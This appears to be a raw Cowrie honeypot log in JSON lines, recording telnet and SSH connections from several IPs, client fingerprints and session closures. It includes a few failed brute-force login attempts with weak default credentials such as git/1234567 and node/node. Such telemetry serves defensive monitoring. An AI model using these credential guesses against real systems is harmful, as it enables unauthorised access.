{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":60016,"dst_ip":"159.203.135.109","dst_port":23,"session":"a14dadf082bd","protocol":"telnet","message":"New connection: 23.254.167.244:60016 (159.203.135.109:23) [session: a14dadf082bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:21.751532Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":52792,"dst_ip":"159.203.135.109","dst_port":23,"session":"18d1c8b6e14f","protocol":"telnet","message":"New connection: 209.159.146.115:52792 (159.203.135.109:23) [session: 18d1c8b6e14f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:24.285899Z"}
{"eventid":"cowrie.session.closed","duration":33.435141801834106,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:26.947954Z","src_ip":"209.159.146.115","session":"0db443a33482","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":34156,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee973267257d","protocol":"telnet","message":"New connection: 23.254.167.244:34156 (159.203.135.109:23) [session: ee973267257d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:27.089278Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":59216,"dst_ip":"159.203.135.109","dst_port":23,"session":"355b3bbe060b","protocol":"telnet","message":"New connection: 185.26.126.47:59216 (159.203.135.109:23) [session: 355b3bbe060b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:27.803651Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":48620,"dst_ip":"159.203.135.109","dst_port":23,"session":"811a8f4f01fb","protocol":"telnet","message":"New connection: 209.159.146.115:48620 (159.203.135.109:23) [session: 811a8f4f01fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:27.930944Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":39020,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bbd025fa673","protocol":"telnet","message":"New connection: 23.254.167.244:39020 (159.203.135.109:23) [session: 4bbd025fa673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:27.976901Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":39276,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8b1e64afdcf","protocol":"telnet","message":"New connection: 23.254.167.244:39276 (159.203.135.109:23) [session: c8b1e64afdcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:28.128462Z"}
{"eventid":"cowrie.session.closed","duration":33.266058683395386,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:28.242635Z","src_ip":"209.159.146.115","session":"e45e3814bbd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":41706,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b87c1230ebd","protocol":"telnet","message":"New connection: 23.254.167.244:41706 (159.203.135.109:23) [session: 3b87c1230ebd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:29.668117Z"}
{"eventid":"cowrie.session.closed","duration":40.167253494262695,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:29.988989Z","src_ip":"209.159.146.115","session":"8f6a91f60b57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.06515574455261,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:30.643487Z","src_ip":"23.254.167.244","session":"04d992d083be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":43762,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb4bf77330b4","protocol":"telnet","message":"New connection: 23.254.167.244:43762 (159.203.135.109:23) [session: eb4bf77330b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:31.192585Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":44876,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fe10942ffd3","protocol":"telnet","message":"New connection: 23.254.167.244:44876 (159.203.135.109:23) [session: 8fe10942ffd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:32.331265Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":43588,"dst_ip":"159.203.135.109","dst_port":23,"session":"dddd675119e8","protocol":"telnet","message":"New connection: 209.159.146.115:43588 (159.203.135.109:23) [session: dddd675119e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:32.631355Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":45780,"dst_ip":"159.203.135.109","dst_port":23,"session":"031bf05082ac","protocol":"telnet","message":"New connection: 23.254.167.244:45780 (159.203.135.109:23) [session: 031bf05082ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:33.246053Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57468,"dst_ip":"159.203.135.109","dst_port":23,"session":"90ced3b7b61b","protocol":"telnet","message":"New connection: 209.159.146.115:57468 (159.203.135.109:23) [session: 90ced3b7b61b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:33.859935Z"}
{"eventid":"cowrie.session.closed","duration":33.821040630340576,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:34.908949Z","src_ip":"209.159.146.115","session":"0c582f64f62c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.38434100151062,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:35.040763Z","src_ip":"209.159.146.115","session":"aada55130e52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34834,"dst_ip":"159.203.135.109","dst_port":23,"session":"c61893b08d7f","protocol":"telnet","message":"New connection: 209.159.146.115:34834 (159.203.135.109:23) [session: c61893b08d7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:35.078193Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35010,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f99124c6708","protocol":"telnet","message":"New connection: 209.159.146.115:35010 (159.203.135.109:23) [session: 3f99124c6708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:35.213733Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35726,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ffe6fa3837c","protocol":"telnet","message":"New connection: 209.159.146.115:35726 (159.203.135.109:23) [session: 1ffe6fa3837c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:35.489303Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":35304,"dst_ip":"159.203.135.109","dst_port":22,"session":"da7ed60575b4","protocol":"ssh","message":"New connection: 186.13.24.118:35304 (159.203.135.109:22) [session: da7ed60575b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:35.645853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:35.651170Z","src_ip":"186.13.24.118","session":"da7ed60575b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:35.807629Z","src_ip":"186.13.24.118","session":"da7ed60575b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user01","password":"1234","message":"login attempt [user01/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:36.459430Z","src_ip":"186.13.24.118","session":"da7ed60575b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:37.617354Z","src_ip":"186.13.24.118","session":"da7ed60575b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":55906,"dst_ip":"159.203.135.109","dst_port":23,"session":"760d7ba9d3a7","protocol":"telnet","message":"New connection: 23.254.167.244:55906 (159.203.135.109:23) [session: 760d7ba9d3a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:38.772496Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":44878,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdf83da80f79","protocol":"telnet","message":"New connection: 23.254.167.244:44878 (159.203.135.109:23) [session: cdf83da80f79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:39.344702Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.34.121","src_port":32814,"dst_ip":"159.203.135.109","dst_port":22,"session":"69e3b90a4c73","protocol":"ssh","message":"New connection: 157.66.34.121:32814 (159.203.135.109:22) [session: 69e3b90a4c73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:43.054897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:43.060884Z","src_ip":"157.66.34.121","session":"69e3b90a4c73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:43.300042Z","src_ip":"157.66.34.121","session":"69e3b90a4c73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56330,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a91c9857cfb","protocol":"ssh","message":"New connection: 159.203.92.129:56330 (159.203.135.109:22) [session: 4a91c9857cfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:44.102296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:44.107623Z","src_ip":"159.203.92.129","session":"4a91c9857cfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:44.112448Z","src_ip":"159.203.92.129","session":"4a91c9857cfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angnai","password":"123456","message":"login attempt [angnai/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:44.125814Z","src_ip":"159.203.92.129","session":"4a91c9857cfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1234567","message":"login attempt [git/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:44.287257Z","src_ip":"157.66.34.121","session":"69e3b90a4c73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:45.134971Z","src_ip":"159.203.92.129","session":"4a91c9857cfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":35828,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9e50026b21e","protocol":"telnet","message":"New connection: 23.254.167.244:35828 (159.203.135.109:23) [session: a9e50026b21e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:45.510430Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:45.530512Z","src_ip":"157.66.34.121","session":"69e3b90a4c73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":36360,"dst_ip":"159.203.135.109","dst_port":23,"session":"e30a021dc8e5","protocol":"telnet","message":"New connection: 23.254.167.244:36360 (159.203.135.109:23) [session: e30a021dc8e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:46.099952Z"}
{"eventid":"cowrie.session.closed","duration":36.6383843421936,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:46.379556Z","src_ip":"23.254.167.244","session":"7b0d15c41c5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56804,"dst_ip":"159.203.135.109","dst_port":23,"session":"96c31921a520","protocol":"telnet","message":"New connection: 209.159.146.115:56804 (159.203.135.109:23) [session: 96c31921a520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:48.001597Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":53418,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbd685d2b94c","protocol":"ssh","message":"New connection: 80.94.92.182:53418 (10.17.0.5:22) [session: fbd685d2b94c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:48.089249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:48.502734Z","src_ip":"80.94.92.182","session":"fbd685d2b94c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:48.506467Z","src_ip":"80.94.92.182","session":"fbd685d2b94c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.14507222175598,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:48.867317Z","src_ip":"23.254.167.244","session":"62454c955a60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.591336727142334,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:49.333954Z","src_ip":"23.254.167.244","session":"9c20fc1f1923","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:49.456801Z","src_ip":"80.94.92.182","session":"fbd685d2b94c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:50.759861Z","src_ip":"80.94.92.182","session":"fbd685d2b94c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40304,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c3fe8e5378b","protocol":"telnet","message":"New connection: 209.159.146.115:40304 (159.203.135.109:23) [session: 3c3fe8e5378b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:51.456781Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":37400,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0c8fdadaa60","protocol":"telnet","message":"New connection: 209.159.146.115:37400 (159.203.135.109:23) [session: a0c8fdadaa60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:51.644969Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":43170,"dst_ip":"159.203.135.109","dst_port":23,"session":"824f11b33537","protocol":"telnet","message":"New connection: 23.254.167.244:43170 (159.203.135.109:23) [session: 824f11b33537]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:52.165827Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":43336,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a04e5d71a73","protocol":"telnet","message":"New connection: 209.159.146.115:43336 (159.203.135.109:23) [session: 6a04e5d71a73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:52.549131Z"}
{"eventid":"cowrie.session.closed","duration":36.22890782356262,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:52.660203Z","src_ip":"209.159.146.115","session":"22cc1abbf51f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":45718,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e6ecacebc44","protocol":"telnet","message":"New connection: 23.254.167.244:45718 (159.203.135.109:23) [session: 3e6ecacebc44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:53.798901Z"}
{"eventid":"cowrie.session.closed","duration":36.29692482948303,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:53.871822Z","src_ip":"209.159.146.115","session":"c425d61dde8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35608,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a478afc70ca","protocol":"telnet","message":"New connection: 209.159.146.115:35608 (159.203.135.109:23) [session: 3a478afc70ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:56.195734Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":50216,"dst_ip":"159.203.135.109","dst_port":23,"session":"9753011998dd","protocol":"telnet","message":"New connection: 23.254.167.244:50216 (159.203.135.109:23) [session: 9753011998dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:58.593940Z"}
